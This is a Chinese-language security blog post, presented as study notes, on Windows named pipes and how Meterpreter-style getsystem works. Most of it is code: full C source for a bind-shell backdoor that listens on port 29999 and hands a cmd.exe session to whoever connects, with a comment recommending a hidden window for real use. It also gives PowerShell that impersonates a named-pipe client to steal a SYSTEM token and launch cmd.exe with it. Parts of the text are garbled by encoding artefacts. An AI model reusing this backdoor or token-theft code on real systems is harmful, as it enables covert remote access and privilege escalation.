Windows命名管道&getsystem原理學習記錄


前言

出品|博客(ID:moon_flower)

以下內(nèi)容,來自博客的moon_flower作者原創(chuàng),由于傳播,利用此文所提供的信息而造成的任何直接或間接的后果和損失,均由使用者本人負責,長白山攻防實驗室以及文章作者不承擔任何責任。

命名管道基礎

是可以單向或雙面服務器和一個或多個客戶端之間進行通訊的管道,命名管道的所有實例擁有相同的名稱,但每個實例都有自己的緩沖區(qū)和句柄,用來為不同客戶端通訊提供獨立管道。

命名管道的名稱在本系統(tǒng)中是唯一的。
命名管道可以被任意符合權限要求的進程訪問。
命名管道只能在本地創(chuàng)建。
命名管道的客戶端可以是本地進程(本地訪問:\.\pipe\PipeName)或者是遠程進程(訪問遠程:\ServerName\pipe\PipeName)。
命名管道使用比匿名管道靈活,服務端、客戶端可以是任意進程,匿名管道一般情況下用于父子進程通訊。

列出當前計算機上的所有命名管道(powershell):

[System.IO.Directory]::GetFiles("\\.\\pipe\\")

管道實現(xiàn)簡單shell后門

一個正向 shell,被控者本地監(jiān)聽一個端口,由攻擊者主動連接。

執(zhí)行后CMD將輸出寫入另一個管道,buffe從另一端讀取后,通socke發(fā)送給 hacker。

window管道分為命名管道和匿名管道,其中匿名管道只能實現(xiàn)本地機器上兩個進程的通信,通常用于父進程和子進程之間傳送數(shù)據(jù),這里采用匿名管道實現(xiàn)。

代碼(網(wǎng)上的代碼有各種奇奇怪怪bug,最后寫出來的也是個代碼健壯性幾乎為0的東西,但當作學習還是勉強能沖

#include <stdio.h>#include <winsock2.h>#pragma?comment?(lib,?"ws2_32")int main(){????WSADATA?wsa;????WSAStartup(MAKEWORD(2,?2),?&wsa);    // 創(chuàng)建 TCP 套接字????SOCKET?s?=?socket(AF_INET,?SOCK_STREAM,?IPPROTO_TCP);    // 綁定套接字    sockaddr_in sock;    sock.sin_family = AF_INET;    sock.sin_addr.S_un.S_addr = INADDR_ANY;    sock.sin_port = htons(29999);????bind(s,?(SOCKADDR*)&sock,?sizeof(SOCKADDR));    // 設置監(jiān)聽    listen(s, 5);    // 接收客戶端請求    sockaddr_in sockClient;    int SaddrSize = sizeof(SOCKADDR);????SOCKET?sc?=?accept(s,?(SOCKADDR*)&sockClient,?&SaddrSize);    // 創(chuàng)建管道    SECURITY_ATTRIBUTES sa1, sa2;????HANDL?hRead1,?hRead2,?hWrite1,?hWrite2;    sa1.nLength = sizeof(SECURITY_ATTRIBUTES);    sa1.lpSecurityDescriptor = NULL;????sa1.bInheritHandle?=?TRUE;    sa2.nLength = sizeof(SECURITY_ATTRIBUTES);    sa2.lpSecurityDescriptor = NULL;????sa2.bInheritHandle?=?TRUE;    CreatePipe(&hRead1, &hWrite1, &sa1, 0);????CreatePipe(&hRead2,?&hWrite2,?&sa2,?0);    // 創(chuàng)建用于通信的子進程    STARTUPINFO si;????PROCESS_INFORMATION?pi;    ZeroMemory(&si, sizeof(STARTUPINFO));    si.cb = sizeof(STARTUPINFO);    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;    // 為了測試設置 SW_SHOW 實際上應該用 SW_HIDE    si.wShowWindow = SW_SHOW;    // 替換標準輸入輸出句柄    si.hStdInput = hRead1;    si.hStdOutput = hWrite2;????si.hStdError?=?hWrite2;????char*?szCmd?=?"cmd";    CreateProcess(NULL, TEXT("cmd"), NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);    unsigned long dwBytes = 0;    BOOL bRet = FALSE;    const int MAXSIZE = 0x1000;????char?szBuffer[MAXSIZE]?=?"\0";    while (TRUE)    {        ZeroMemory(szBuffer, MAXSIZE);????????bRet?=?PeekNamedPipe(hRead2,?szBuffer,?MAXSIZE,?&dwBytes,?0,?0);        if (dwBytes)        {            ReadFile(hRead2, szBuffer, dwBytes, &dwBytes, NULL);            printf("send:%s", szBuffer);            int len = strlen(szBuffer);            int iCurrSend = send(sc, szBuffer, len-1, 0);            // 不知道為什么不-1的話鏈接會直接斷掉            if (iCurrSend <= 0)            {                printf("send error %d", WSAGetLastError());                goto exit;            }        }        else         {            dwBytes = recv(sc, szBuffer, 1024, 0);            if (dwBytes)            {                printf("recv:%s", szBuffer);                WriteFile(hWrite1, szBuffer, strlen(szBuffer), &dwBytes, NULL);            }        }    }exit:    closesocket(s);    CloseHandle(hRead1);    CloseHandle(hRead2);    CloseHandle(hWrite1);    CloseHandle(hWrite2);    WSACleanup();    return 0;}

getsystem原理

命名管道有一個特點,就是允許服務端進程模擬連接到客戶端進程??梢岳肐mpersonate-NamedPipeClient這個API,通過命名管道的服務端進程模擬客戶端進程的訪問令牌,也就說如果有一個非管理員用戶身份運行的命名管道服務器,并有一個管理員的進程連接到這個管道,那么理論上就可以冒充管理員用戶。

API 的官方描述:

When this function is called, the named-pipe file system changes the thread of the calling process to start impersonating the security context of the last message read from the pipe. Only the server end of the pipe can call this function

使用的限制條件(滿足其一):

1.請求的令牌模擬級別小于 SecurityImpersonation,如 SecurityIdentification 或 securityyanonymous。
2.調(diào)用方具有 SeImpersonatePrivilege 權限(通常需要 admin 用戶)
3.一個進程(或調(diào)用者登錄會話中的另一個進程)通過 LogonUser 或 LsaLogonUser 函數(shù)使用顯式憑據(jù)創(chuàng)建令牌。4.經(jīng)過身份驗證的標識與調(diào)用方相同。

1.創(chuàng)建一個以system權限啟動的程序,這個程序的作用是連接指定的命名管道。
2.創(chuàng)建一個進程,并讓進程創(chuàng)建命名管道。
3.讓之前的以system權限啟動的程序啟動并連接這個命名管道。
4.利用ImpersonateNamedPipeClient()函數(shù)生成system權限的token。5.利用system權限的token啟動cmd.exe。

通過 sysmon 可以看到一部分的實現(xiàn):

這里先創(chuàng)建了一named pipe security object ,并實例化了命名管道 "pipedummy",關聯(lián)訪問控制列表

$PipeSecurity = New-Object System.IO.Pipes.PipeSecurity$AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" )$PipeSecurity.AddAccessRule($AccessRule)$pipename="pipedummy"$pipe = New-Object System.IO.Pipes.NamedPipeServerStream($pipename,"InOut",10, "Byte", "None", 1024, 1024, $PipeSecurity)$PipeHandle = $pipe.SafePipeHandle.DangerousGetHandle()

進入等待連接,客戶端連接后就讀取發(fā)來的數(shù)據(jù)

$pipe.WaitForConnection()$pipeReader = new-object System.IO.StreamReader($pipe)$Null = $pipereader.ReadToEnd()

然后用 system 權限連接管道(主機無法直接用 system 登錄,這里用了 msf 中的 shell)。

echo test > \\.\pipe\dummypipe

(調(diào)用ImpersonateNamedPipeClient)

#we are still Attacker$Out = $ImpersonateNamedPipeClient.Invoke([Int]$PipeHandle)#now  we are impersonating the user (Victim),$user=[System.Security.Principal.WindowsIdentity]::GetCurrent().Nameecho $user# everything we do BEFORE RevertToSelf is done on behalf that user$RetVal = $RevertToSelf.Invoke()# we are again Attacker

接著可以獲得線程(victim,這里是 system 權限)的令牌。

#we are Victim#get the current thread handle$ThreadHandle = $GetCurrentThread.Invoke()[IntPtr]$ThreadToken = [IntPtr]::Zero#get the token of victim's thread[Bool]$Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_ALL_ACCESS, $true, [Ref]$ThreadToken)

然后用這個令牌的身份啟動一個新的進程,通過 CreateProcessWithToken API,但是這個 API 的調(diào)用需要 SeImpersonatePrivilege 權限,這也對應了前面的條件限制

$RetVal = $RevertToSelf.Invoke()# we are again Attacker$pipe.close()#run a process as the previously impersonated user$StartupInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$STARTUPINFO)[IntPtr]$StartupInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($StartupInfoSize)$memset.Invoke($StartupInfoPtr, 0, $StartupInfoSize) | Out-Null[System.Runtime.InteropServices.Marshal]::WriteInt32($StartupInfoPtr, $StartupInfoSize) #The first parameter (cb) is a DWORD which is the size of the struct$ProcessInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$PROCESS_INFORMATION)[IntPtr]$ProcessInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ProcessInfoSize)$memset.Invoke($ProcessInfoPtr, 0, $ProcessInfoSize) | Out-Null$processname="c:\windows\system32\cmd.exe"$ProcessNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($processname)$ProcessArgsPtr?=?[IntPtr]::Zero$Success = $CreateProcessWithTokenW.Invoke($ThreadToken, 0x0,$ProcessNamePtr, $ProcessArgsPtr, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr,?$ProcessInfoPtr)$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()echo "CreateProcessWithToken: $Success  $ErrorCode"

然后就可以看到彈出的system的cmd了

參考文獻

  • https://www.anquanke.com/post/id/190207

  • https://www.anquanke.com/post/id/258286

  • https://www.anquanke.com/post/id/265507#h2-1

  • https://blog.csdn.net/qq_41874930/article/details/110001596

  • https://decoder.cloud/2019/03/06/windows-named-pipes-impersonation/

?著作權歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

相關閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容